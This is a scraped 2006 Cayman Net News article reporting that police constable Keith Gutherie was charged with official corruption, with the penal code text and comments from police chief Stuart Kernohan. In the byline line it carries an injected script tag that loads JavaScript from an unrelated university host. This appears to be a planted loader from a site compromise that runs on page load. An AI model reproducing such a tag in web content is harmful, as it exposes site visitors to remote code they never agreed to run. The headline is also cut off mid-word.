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NEWS > 14 April 2006

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 Article sourced from

Stuart Kernohan,<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Cayman Net News - grand cayman
14 April 2006
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Stuart Kernohan,

Cop charged as investigation c

The Courts of the Cayman Islands will soon hear evidence that may convict a Police Officer of Official Corruption.

Should he – Police Constable Keith Nathaniel Gutherie, 37, of Prospect Drive – be found guilty, he could end up behind bars for a maximum of five years.

Mr Gutherie was arrested on Sunday 9 April for Suspicion of Corruption and charges were filed on 12 April.

A detailed description of the circumstances that led to Mr Gutherie’s arrest was not available up to press time.

This was because such information was embargoed until the accused appeared in Court for his bail hearing when a summary of facts relating to his case would be made public.

However, substantial information relating to Mr Gutherie’s case can be gleaned from the fact that he was charged under Section 4, Part IV, #89 of the Penal Code.

This portion of the Code states, “Being employed in the public service and being charged with the performance of any duty by virtue of such employment, corruptly solicits, receives or obtains or agrees or attempts to receive or retain any property or benefit of any kind for himself or any other person on account of anything already done or omitted to be done, or to be afterwards done or omitted to be done, by him in the discharge of the duties of his office or (b), corruptly gives, confers or procures, or promises or offers to give or confer, or procure or attempt to procure, to, upon, or for any person employed in the public service, or to, upon or for any other person, any property or benefit of any kind on account of such act or omission on the part of the person so employed, is guilty of an offence and liable to a fine of five thousand dollars and to imprisonment for five years.”

Official Corruption is a Category B offence – that is, it does not land the accused in the Islands’ Grand Courts as a Category A offence, such as murder, would.

However the seriousness of the crime is grave. According to Royal Cayman Islands Police Service (RCIPS) Media Liaison Officer, Deborah Denis, similar charges have been extremely rare in the Service.

However the RCIPS Chief, Stuart Kernohan has seen the officer’s actions as “reckless” and has called out to the public to report suspicions of corruption in the police force.

The RCIPS is still carrying out investigations into this matter to see if there are other officers guilty along with Mr Gutherie, Ms Denis confirmed.

If any other officers are implicated then this would cast a shadow on the entire force. Any more officers being charged in this matter could mean a change in the charges too already laid against Mr Gutherie.

Depending on what the investigations unearth, the charges against him could be amended to result in a Grand Court indictment.

In the meantime however one member of the legal fraternity here surmised that there is very little chance of Mr Gutheie not being granted bail.

“Charged under that section of the Penal code, the act could, more than likely, be deemed done, and Mr Gutherie would not be considered a threat to society.”

Meanwhile this latest news comes after revelations that another officer, still on the job in the RCIPS, was hired here within weeks of escaping a full investigation of charges of corruption against him in Canada.

It is alleged that that officer suddenly resigned when Toronto police Internal Affairs investigators were finishing a probe of the officer’s conduct in relation to involvement in a price-gouging motor vehicle licensing ring.

“The reality is, no police force can be completely immune from unacceptable behaviour,” said Mr Kernohan.

“If a police officer violates the law that (he or she has) sworn to uphold, it erodes the public trust that we work so hard to gain. Any reckless actions by individuals that undermine the integrity of this police service and damage the public trust will not be tolerated.”

 

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